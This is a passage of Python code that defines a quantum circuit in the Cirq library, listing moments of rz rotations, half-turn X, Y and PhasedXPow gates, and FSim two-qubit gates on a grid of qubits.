cirq.rz(np.pi * 25.746615138480117).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -25.75107681264584).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * 22.13450605727).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -22.245218247917148).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 7.440729485113184).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -7.486017486836674).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 10.506004357904885).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * -10.499963598527936).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * 34.19248038813088).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * -34.20548330633721).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * 20.425705877923868).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -20.4384169536985).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 12.71050872566315).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -12.650195121000372).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 19.562531408750814).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * -19.53603038024695).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 18.69447149644039).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -18.684147116038343).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -18.21701654221441).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 18.674091230723448).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * -12.250724143723879).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * 12.21132759893756).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * -25.757287261948953).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 25.774667862671368).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * -23.52062771406781).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 23.538122796662165).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -16.556589282442097).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 16.377549544944078).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * -22.849609363423916).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 22.770262248819563).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(0, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(0, 6)), (cirq.Y**0.5).on(cirq.GridQubit(1, 4)), (cirq.Y**0.5).on(cirq.GridQubit(1, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 4)), (cirq.Y**0.5).on(cirq.GridQubit(2, 5)), (cirq.Y**0.5).on(cirq.GridQubit(2, 6)), (cirq.Y**0.5).on(cirq.GridQubit(2, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 8)), (cirq.Y**0.5).on(cirq.GridQubit(3, 2)), (cirq.Y**0.5).on(cirq.GridQubit(3, 3)), (cirq.Y**0.5).on(cirq.GridQubit(3, 5)), (cirq.Y**0.5).on(cirq.GridQubit(3, 6)), (cirq.Y**0.5).on(cirq.GridQubit(3, 7)), (cirq.X**0.5).on(cirq.GridQubit(3, 8)), (cirq.X**0.5).on(cirq.GridQubit(4, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 2)), (cirq.Y**0.5).on(cirq.GridQubit(4, 3)), (cirq.X**0.5).on(cirq.GridQubit(4, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 5)), (cirq.X**0.5).on(cirq.GridQubit(4, 6)), (cirq.X**0.5).on(cirq.GridQubit(4, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 1)), (cirq.Y**0.5).on(cirq.GridQubit(5, 2)), (cirq.X**0.5).on(cirq.GridQubit(5, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 5)), (cirq.Y**0.5).on(cirq.GridQubit(5, 6)), (cirq.Y**0.5).on(cirq.GridQubit(5, 7)), (cirq.X**0.5).on(cirq.GridQubit(6, 1)), (cirq.Y**0.5).on(cirq.GridQubit(6, 2)), (cirq.X**0.5).on(cirq.GridQubit(6, 3)), (cirq.Y**0.5).on(cirq.GridQubit(6, 4)), (cirq.X**0.5).on(cirq.GridQubit(6, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 3)), (cirq.X**0.5).on(cirq.GridQubit(7, 4)), (cirq.X**0.5).on(cirq.GridQubit(7, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -29.696134780175626).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * 29.735987288909445).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * -6.926584587366442).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 6.929081406888282).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -6.864078115073335).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 6.859398026235534).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 7.418125678549155).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * -7.424456163642465).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 33.02168532545184).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * -32.98587507115059).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 39.34359792383697).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * -39.42696290791402).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 12.958562501914345).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * -13.049596611893888).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 15.428639843256777).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -15.42731467518594).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 28.031937308298577).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -28.01590894186218).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * 6.967481743922609).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * -7.259908389782927).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * 31.210231816728815).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -31.213639326033913).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 19.946499004273523).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -19.833707101903418).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 30.137045801919207).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -30.211658619314296).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 21.231104618355).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -21.186606163793456).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -24.07207192100989).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 24.377358555270934).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * -23.339306761471114).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 23.297685791226186).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.5423469235530667, phi=0.5388088498512879).on( cirq.GridQubit(1, 4), cirq.GridQubit(2, 4)), cirq.FSimGate(theta=1.5684106752459124, phi=0.5414007317481024).on( cirq.GridQubit(1, 5), cirq.GridQubit(2, 5)), cirq.FSimGate(theta=1.6152322695478165, phi=0.5160697976136035).on( cirq.GridQubit(1, 6), cirq.GridQubit(2, 6)), cirq.FSimGate(theta=1.5040835324508275, phi=0.6761565725975858).on( cirq.GridQubit(1, 7), cirq.GridQubit(2, 7)), cirq.FSimGate(theta=1.5144175462386844, phi=0.4680444728781228).on( cirq.GridQubit(3, 2), cirq.GridQubit(4, 2)), cirq.FSimGate(theta=1.4668587973263782, phi=0.4976074601121169).on( cirq.GridQubit(3, 3), cirq.GridQubit(4, 3)), cirq.FSimGate(theta=1.603651215218248, phi=0.46649538437100246).on( cirq.GridQubit(3, 5), cirq.GridQubit(4, 5)), cirq.FSimGate(theta=1.6160334279232749, phi=0.4353897326147861).on( cirq.GridQubit(3, 6), cirq.GridQubit(4, 6)), cirq.FSimGate(theta=1.5909523830878005, phi=0.5244700889486827).on( cirq.GridQubit(3, 7), cirq.GridQubit(4, 7)), cirq.FSimGate(theta=1.2635580943707443, phi=0.3315124918059815).on( cirq.GridQubit(5, 1), cirq.GridQubit(6, 1)), cirq.FSimGate(theta=1.5245711693927642, phi=0.4838906581970925).on( cirq.GridQubit(5, 2), cirq.GridQubit(6, 2)), cirq.FSimGate(theta=1.5542388360689805, phi=0.5186534637665338).on( cirq.GridQubit(5, 3), cirq.GridQubit(6, 3)), cirq.FSimGate(theta=1.5109427139358562, phi=0.4939388316289224).on( cirq.GridQubit(5, 4), cirq.GridQubit(6, 4)), cirq.FSimGate(theta=1.57896484905089, phi=0.5081656554152614).on( cirq.GridQubit(5, 5), cirq.GridQubit(6, 5)), cirq.FSimGate(theta=1.5287198766338426, phi=0.5026095497404074).on( cirq.GridQubit(5, 6), cirq.GridQubit(6, 6)), cirq.FSimGate(theta=1.501781688539034, phi=0.46799927805932284).on( cirq.GridQubit(7, 3), cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 29.884207801277327).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * -29.844355292543508).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * 6.997874433792849).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -6.995377614271008).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 6.418995232832726).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -6.423675321670527).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -7.8378074360795305).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * 7.831476950986221).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -32.172491731044474).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * 32.20830198534573).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -39.11725021952874).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * 39.03388523545169).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -14.665863640797525).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * 14.574829530817984).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -16.519871460773594).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 16.52119662884443).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -28.386693052252454).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 28.402721418688852).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * -7.731815524796781).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * 7.439388878936463).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * -31.64256101076613).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 31.63915350146103).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -19.050421382024783).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 19.16321328439489).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -29.465079763839764).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 29.390466946444676).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -21.367003503847553).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 21.411501958409097).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 23.630431840949722).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * -23.32514520668868).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * 24.532630846615117).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -24.574251816860045).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ (cirq.Y**0.5).on(cirq.GridQubit(0, 5)), (cirq.Y**0.5).on(cirq.GridQubit(0, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 5)), (cirq.Y**0.5).on(cirq.GridQubit(1, 6)), (cirq.X**0.5).on(cirq.GridQubit(1, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 7)), (cirq.Y**0.5).on(cirq.GridQubit(2, 8)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 2)), (cirq.X**0.5).on(cirq.GridQubit(3, 3)), (cirq.X**0.5).on(cirq.GridQubit(3, 5)), (cirq.X**0.5).on(cirq.GridQubit(3, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 7)), (cirq.Y**0.5).on(cirq.GridQubit(3, 8)), (cirq.Y**0.5).on(cirq.GridQubit(4, 1)), (cirq.Y**0.5).on(cirq.GridQubit(4, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 3)), (cirq.Y**0.5).on(cirq.GridQubit(4, 4)), (cirq.Y**0.5).on(cirq.GridQubit(4, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 6)), (cirq.Y**0.5).on(cirq.GridQubit(4, 7)), (cirq.X**0.5).on(cirq.GridQubit(5, 1)), (cirq.X**0.5).on(cirq.GridQubit(5, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 3)), (cirq.X**0.5).on(cirq.GridQubit(5, 4)), (cirq.X**0.5).on(cirq.GridQubit(5, 5)), (cirq.X**0.5).on(cirq.GridQubit(5, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 7)), (cirq.Y**0.5).on(cirq.GridQubit(6, 1)), (cirq.X**0.5).on(cirq.GridQubit(6, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 3)), (cirq.X**0.5).on(cirq.GridQubit(6, 4)), (cirq.Y**0.5).on(cirq.GridQubit(6, 5)), (cirq.X**0.5).on(cirq.GridQubit(6, 6)), (cirq.Y**0.5).on(cirq.GridQubit(7, 2)), (cirq.Y**0.5).on(cirq.GridQubit(7, 3)), (cirq.Y**0.5).on(cirq.GridQubit(7, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 5)), (cirq.Y**0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -11.88881622252751).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * 11.792517331211629).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -34.93587030317863).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 34.899691840749924).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * 13.66913916974463).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * -13.714527436529053).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -19.300997501357458).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 18.86048377848551).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -20.26788411573081).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * 20.30501302367152).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * -2.1976740888018944).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 2.1899714261238103).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -12.39075098081413).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 12.360493259768578).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -12.10125113388289).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * 12.22245467467503).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 10.936894386213037).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -10.923381665113125).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * -2.8894238777188748).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 2.945465958360982).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -10.099134633961603).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 10.172407045184396).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 4.629400300977903).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * -4.495173069424299).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * -15.060126243969762).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 15.018682918719897).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -18.34652096929912).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 18.371336625384476).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -19.622795435376638).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * 19.714281937389686).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -10.948360514830984).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * 10.864241645468965).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.545844435173598, phi=0.5163254336997252).on( cirq.GridQubit(1, 4), cirq.GridQubit(1, 5)), cirq.FSimGate(theta=1.5033136051987404, phi=0.5501439149572028).on( cirq.GridQubit(1, 6), cirq.GridQubit(1, 7)), cirq.FSimGate(theta=1.5930079664614663, phi=0.5355369376884288).on( cirq.GridQubit(2, 4), cirq.GridQubit(2, 5)), cirq.FSimGate(theta=1.59182423935832, phi=-5.773664463980115).on( cirq.GridQubit(2, 6), cirq.GridQubit(2, 7)), cirq.FSimGate(theta=1.5886126292316385, phi=0.4838919055156303).on( cirq.GridQubit(3, 2), cirq.GridQubit(3, 3)), cirq.FSimGate(theta=1.5286450573669954, phi=0.5113953905811602).on( cirq.GridQubit(3, 6), cirq.GridQubit(3, 7)), cirq.FSimGate(theta=1.565622495548066, phi=0.5127256481964074).on( cirq.GridQubit(4, 2), cirq.GridQubit(4, 3)), cirq.FSimGate(theta=1.5289739216684795, phi=0.5055240639761313).on( cirq.GridQubit(4, 4), cirq.GridQubit(4, 5)), cirq.FSimGate(theta=1.5384796865621224, phi=0.5293381306162406).on( cirq.GridQubit(4, 6), cirq.GridQubit(4, 7)), cirq.FSimGate(theta=1.4727562833004122, phi=0.4552443293379814).on( cirq.GridQubit(5, 2), cirq.GridQubit(5, 3)), cirq.FSimGate(theta=1.5346175385256955, phi=0.5131039467233695).on( cirq.GridQubit(5, 4), cirq.GridQubit(5, 5)), cirq.FSimGate(theta=1.558221035096814, phi=0.4293113178636455).on( cirq.GridQubit(5, 6), cirq.GridQubit(5, 7)), cirq.FSimGate(theta=1.5169062231051558, phi=0.46319906116805815).on( cirq.GridQubit(6, 2), cirq.GridQubit(6, 3)), cirq.FSimGate(theta=1.5705414623224259, phi=0.4791699064049766).on( cirq.GridQubit(6, 4), cirq.GridQubit(6, 5)), cirq.FSimGate(theta=1.5516764540193888, phi=0.505545707839895).on( cirq.GridQubit(7, 2), cirq.GridQubit(7, 3)), cirq.FSimGate(theta=1.5699606675525557, phi=0.48292170263262457).on( cirq.GridQubit(7, 4), cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 12.801042465034786).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * -12.897341356350665).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 34.236310550447435).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -34.27248901287614).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * -13.19807055510896).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * 13.152682288324536).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 19.96635603838931).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -20.40686976126126).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 19.13941426989393).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * -19.102285361953214).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * 2.7999079899133363).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -2.80761065259142).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 12.628337110122207).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -12.658594831167758).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 11.899075778124569).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * -11.777872237332431).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -12.725823706766091).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 12.739336427866004).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * 3.458829500938646).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -3.4027874202965385).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 9.817341949396608).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -9.744069538173814).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -4.8131453827247626).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 4.9473726142783665).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * 15.12306271184396).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -15.164506037093826).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 20.160375777985994).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -20.13556012190064).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 19.481311792027203).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * -19.389825290014155).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 11.660694186099983).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * -11.744813055462004).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ (cirq.X**0.5).on(cirq.GridQubit(0, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(0, 6)), (cirq.X**0.5).on(cirq.GridQubit(1, 4)), (cirq.X**0.5).on(cirq.GridQubit(1, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 4)), (cirq.X**0.5).on(cirq.GridQubit(2, 5)), (cirq.Y**0.5).on(cirq.GridQubit(2, 6)), (cirq.Y**0.5).on(cirq.GridQubit(2, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 8)), (cirq.Y**0.5).on(cirq.GridQubit(3, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 3)), (cirq.Y**0.5).on(cirq.GridQubit(3, 5)), (cirq.Y**0.5).on(cirq.GridQubit(3, 6)), (cirq.X**0.5).on(cirq.GridQubit(3, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 8)), (cirq.X**0.5).on(cirq.GridQubit(4, 1)), (cirq.X**0.5).on(cirq.GridQubit(4, 2)), (cirq.X**0.5).on(cirq.GridQubit(4, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 4)), (cirq.X**0.5).on(cirq.GridQubit(4, 5)), (cirq.X**0.5).on(cirq.GridQubit(4, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 7)), (cirq.Y**0.5).on(cirq.GridQubit(5, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 2)), (cirq.X**0.5).on(cirq.GridQubit(5, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 6)), (cirq.Y**0.5).on(cirq.GridQubit(5, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 2)), (cirq.X**0.5).on(cirq.GridQubit(6, 3)), (cirq.Y**0.5).on(cirq.GridQubit(6, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 5)), (cirq.Y**0.5).on(cirq.GridQubit(6, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 2)), (cirq.X**0.5).on(cirq.GridQubit(7, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 4)), (cirq.X**0.5).on(cirq.GridQubit(7, 5)), (cirq.X**0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -13.561975624866065).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * 13.608958427369807).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * -42.731868884042235).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 42.73449728934477).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -42.48648555249982).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 42.46698886209646).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 26.894366769065044).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -27.18723236953133).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * -36.89270806725978).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * 36.93788826789848).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 22.299288476134443).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -22.274287607594637).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * -33.74235236667582).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * 33.78409086414407).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 16.787954522971983).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -16.834266520580062).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * -33.970047663366486).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 34.00933588051398).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -17.533941989655233).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * 17.554825603456727).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 7.441137480344476).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -7.338027941327417).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 12.963573798570843).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -13.250412392135269).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 12.021227495500458).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * -12.30408433330133).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 18.97727945312479).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -18.902283551151342).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -39.89858281756901).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 39.97978278327343).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * 10.306307418341955).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -10.407034178043412).on(cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.5454967174552687, phi=0.5074540278986153).on( cirq.GridQubit(0, 5), cirq.GridQubit(0, 6)), cirq.FSimGate(theta=1.5233234922971755, phi=0.6681144400379464).on( cirq.GridQubit(1, 5), cirq.GridQubit(1, 6)), cirq.FSimGate(theta=1.5644541080112795, phi=0.5439498075085039).on( cirq.GridQubit(2, 5), cirq.GridQubit(2, 6)), cirq.FSimGate(theta=1.5866139110090092, phi=0.5693597810559818).on( cirq.GridQubit(2, 7), cirq.GridQubit(2, 8)), cirq.FSimGate(theta=1.541977006124425, phi=0.6073798124875975).on( cirq.GridQubit(3, 5), cirq.GridQubit(3, 6)), cirq.FSimGate(theta=1.5573072833358306, phi=0.5415514987622351).on( cirq.GridQubit(3, 7), cirq.GridQubit(3, 8)), cirq.FSimGate(theta=1.5345751514593928, phi=0.472462117170605).on( cirq.GridQubit(4, 1), cirq.GridQubit(4, 2)), cirq.FSimGate(theta=1.5138652502397498, phi=0.47710618607286504).on( cirq.GridQubit(4, 3), cirq.GridQubit(4, 4)), cirq.FSimGate(theta=1.5849169442855044, phi=0.54346233613361).on( cirq.GridQubit(4, 5), cirq.GridQubit(4, 6)), 